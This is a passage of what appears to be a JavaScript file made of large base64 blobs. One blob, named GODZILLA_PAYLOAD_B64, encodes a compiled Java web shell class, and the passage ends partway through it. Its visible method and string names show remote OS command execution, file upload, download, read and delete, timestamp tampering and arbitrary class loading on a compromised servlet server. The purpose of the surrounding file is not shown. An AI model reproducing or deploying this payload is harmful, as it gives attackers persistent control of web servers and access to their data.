0AIQApACwARQAtAFkALgB2ADAAjAAxAKIANgClADMApgA3AKkAIwCqACQAtwAlAMIALADeAC0A8gAuAQ8AMAElADEBOwA2AT4AMwE/ADcBQgArAUQALAFhAC0BdgAuAZQAMAGsADEBxAA2AccAMwHJADcBzAA4AIcAAABmAAoARQBdAIwAgAADAFkASQCNAI4ABACqABgAjwCQAAMA3gBdAIwAgAADAPIASQCNAI4ABAFhAGMAjACAAAYBdgBOAI0AjgAHAAABzgCIAIkAAAAAAc4AkQCAAAEACAHGAJIAkwACAJQAAAAMAAEACAHGAJIAlQACAJYAAAA/AAf/AKUAAwcAeQcAEAcAbgABBwAaQwcAGvcAlAcAGkMHAFH/AIQABgcAeQcAEAcAbgAABwBRAAEHABoB+AACAAIAlwCYAAIAhQAAAb8ABgAHAAAA6hIduAAeuAAfTRIgTivGANsrtgAhngDUEiK4AB62ACMSJLYAJZsAILgAJga9ACdZAxIoU1kEEilTWQUrU7YAKjoEpwAduAAmBr0AJ1kDEitTWQQSLFNZBStTtgAqOgS7AC1ZuwAuWRkEtgAvLLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3ThkFtgAyOgan/9u7AC1ZuwAuWRkEtgA4LLcAMLcAMToFGQW2ADI6BhkGxgAmuwAzWbcANC22ADUZBrYANRI2tgA1tgA3ThkFtgAyOgan/9stsAAAAAMAhgAAAEYAEQAAADwACQA9AAwAPwAXAEEAJwBCAEQARABeAEYAdABHAHsASACAAEkAmQBKAKMATAC5AE0AwABOAMUAUADeAFEA6ABUAIcAAABSAAgAQQADAJkAmgAEAF4AigCZAJoABAB0AHQAmwCcAAUAewBtAJ0AewAGAAAA6gCIAIkAAAAAAOoAegB7AAEACQDhAJ4AnwACAAwA3gCSAHsAAwCWAAAAHwAG/QBEBwCgBwAn/AAZBwCh/QAcBwAtBwAnJxz4ACcAogAAAAQAAQAaAAIAowCkAAIAhQAAAQAABgAIAAAAcCq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxNLBI9tgAWTrsAPlktEj+3AEA6BBJBuABCOgUZBQQZBLYARBkFK7YARToGuwBGWbcARzoHGQcZBrYASCoZB7YASbcASrYAS7AAAAACAIYAAAAmAAkAAABZACkAWgAwAFsAPABcAEMAXQBLAF4AUwBfAFwAYABjAGIAhwAAAFIACAAAAHAAiACJAAAAAABwAKUApgABACkARwCnAHsAAgAwAEAAqACmAAMAPAA0AKkAqgAEAEMALQCrAKwABQBTAB0ArQCmAAYAXAAUAK4ArwAHAKIAAAAEAAEAGgACALAAsQACAIUAAAF2AAYABwAAAJMSIE0STLgAHjoEKrYADFcSTbgATk4tEk8BtgAPLQG2ABE6BRkFtgAMElAEvQAOWQMSE1O2AA8ZBQS9ABBZAytTtgARwAAnTacASjoFKrYADFcSUrgATk4ttgBTOgYZBrYADBJUBL0ADlkDEhNTtgAPGQYEvQAQWQMrU7YAEcAAJ00sEjYSILYAVRJWEiC2AFVNLLAAAQAKAEcASgBRAAMAhgAAADIADAAAAGcAAwBpAAoAbAAVAG0AIwBuAEcAdgBKAHAATAByAFcAcwBdAHQAgQB1AJEAdwCHAAAAXAAJACMAJACyAIAABQAVADUAswC0AAMAXQA0ALIAgAAGAEwARQC1ALYABQAAAJMAiACJAAAAAACTALcApgABAAMAkACSAHsAAgBXADwAswC0AAMACgCJALgAewAEAJYAAAAvAAL/AEoABQcAeQcAEwcAJwAHACcAAQcAUf8ARgAFBwB5BwATBwAnBwAOBwAnAAAAogAAAAQAAQAaAAIAuQC6AAMAhQAAAl4ABwAKAAABQrsAM1m3ADROEky4AB46BC0SV7YANVcruQBYAQC5AFkBADoFGQW5AFoBAJkA9hkFuQBbAQDAACc6Bi27ADNZtwA0Ely2ADUZBrYANRJdtgA1tgA3tgA1VysZBrkAXgIAwAAntgBfOgccmQCnGQQSYLYAYZsATSq2AAxXEk24AE46CBkIEk8BtgAPGQgBtgAROgkZCbYADBJQBL0ADlkDEhNTtgAPGQkEvQAQWQMZBxIVtgAWU7YAEcAAJzoHpwBTKrYADFcSUrgATjoIGQi2AFM6CRkJtgAMElQEvQAOWQMSE1O2AA8ZCQS9ABBZAxkHEhW2ABZTtgARwAAnOgcZBxI2EiC2AFUSVhIgtgBVOgctGQe2ADVXLRJitgA1V6f/Bi22ADcSY7YAZJkADS0ttgBlBGS2AGYtEme2ADVXLbYAN7AAAAAEAIYAAABeABcAAAB7AAgAfAAPAH0AFgB+ADkAgABXAIEAZwCCAGsAhAB1AIYAgQCHAJEAiAC8AIkAvwCMAMsAjQDSAI4A/QCPAQ8AlAEWAJUBHQCWASAAlwEsAJgBNgCZAT0AmgCHAAAAcAALAIEAOwCzALQACACRACsAsgCAAAkAywBEALMAtAAIANIAPQCyAIAACQBnALYAuwB7AAcAOQDkAKcAewAGAAABQgCIAIkAAAAAAUIAvACTAAEAAAFCAL0AvgACAAgBOgC/AMAAAwAPATMAuAB7AAQAlAAAAAwAAQAAAUIAvACVAAEAlgAAAB4ABf4AIwcAMwcAJwcAwf0AmwcAJwcAJ/sAT/gAEBUAogAAAAQAAQAaAMIAAAACAMMAAgDEAMUAAgCFAAABLQAGAAMAAACtK7YADLYAaBJptgAlmwBRKiu2AAwSagO9AA62AA8rA70AELYAEbUAayortgAMEmwDvQAOtgAPKwO9ABC2ABG1AAsqK7YADBJtA70ADrYADysDvQAQtgARtQA5pwAsK8AAbk0qLBJvuQBeAgC1ADkqLBJwuQBeAgC1AAsqLBJxuQBeAgC1AGsqtAALtgAMEnIEvQAOWQMSJ1O2AA8qtAALBL0AEFkDEhVTtgARV7EAAAAEAIYAAAAqAAoAAACdAA8AnwAoAKAAQQChAF0ApgBiAKcAbgCoAHoAqQCGAKsArACsAIcAAAAgAAMAYgAkAMYAkwACAAAArQCIAIkAAAAAAK0AkQCAAAEAlAAAAAwAAQBiACQAxgDHAAIAlgAAAAYAAvsAXSgAogAAAAQAAQAaAAIAyADJAAIAhQAAAP4ABgAGAAAAZiq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxMKwMFtgBzEBC4AHQQEHA9uwB1WbcAdk4cvAg6BAM2BRUFGQS+ogAWGQQVBS0RAQC2AHeRVIQFAaf/6BkEsAAAAAMAhgAAACIACAAAAK4AKQCvADgAsABAALEARQCyAFAAtABdALIAYwC2AIcAAAA+AAYASAAbAMoAywAFAAAAZgCIAIkAAAApAD0ApwB7AAEAOAAuAMwAywACAEAAJgDNAM4AAwBFACEAzwCmAAQAlgAAABoAAv8ASAAGBwB5BwAnAQcAdQcAEwEAAPoAGgCiAAAABAABABoACADQAIQAAQCFAAAAHgABAAAAAAAGEnizAAqxAAAAAQCGAAAABgABAAAAEwABANEAAAACANI=";
|
|
220
221
|
var GODZILLA_PAYLOAD_B64 = "yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbW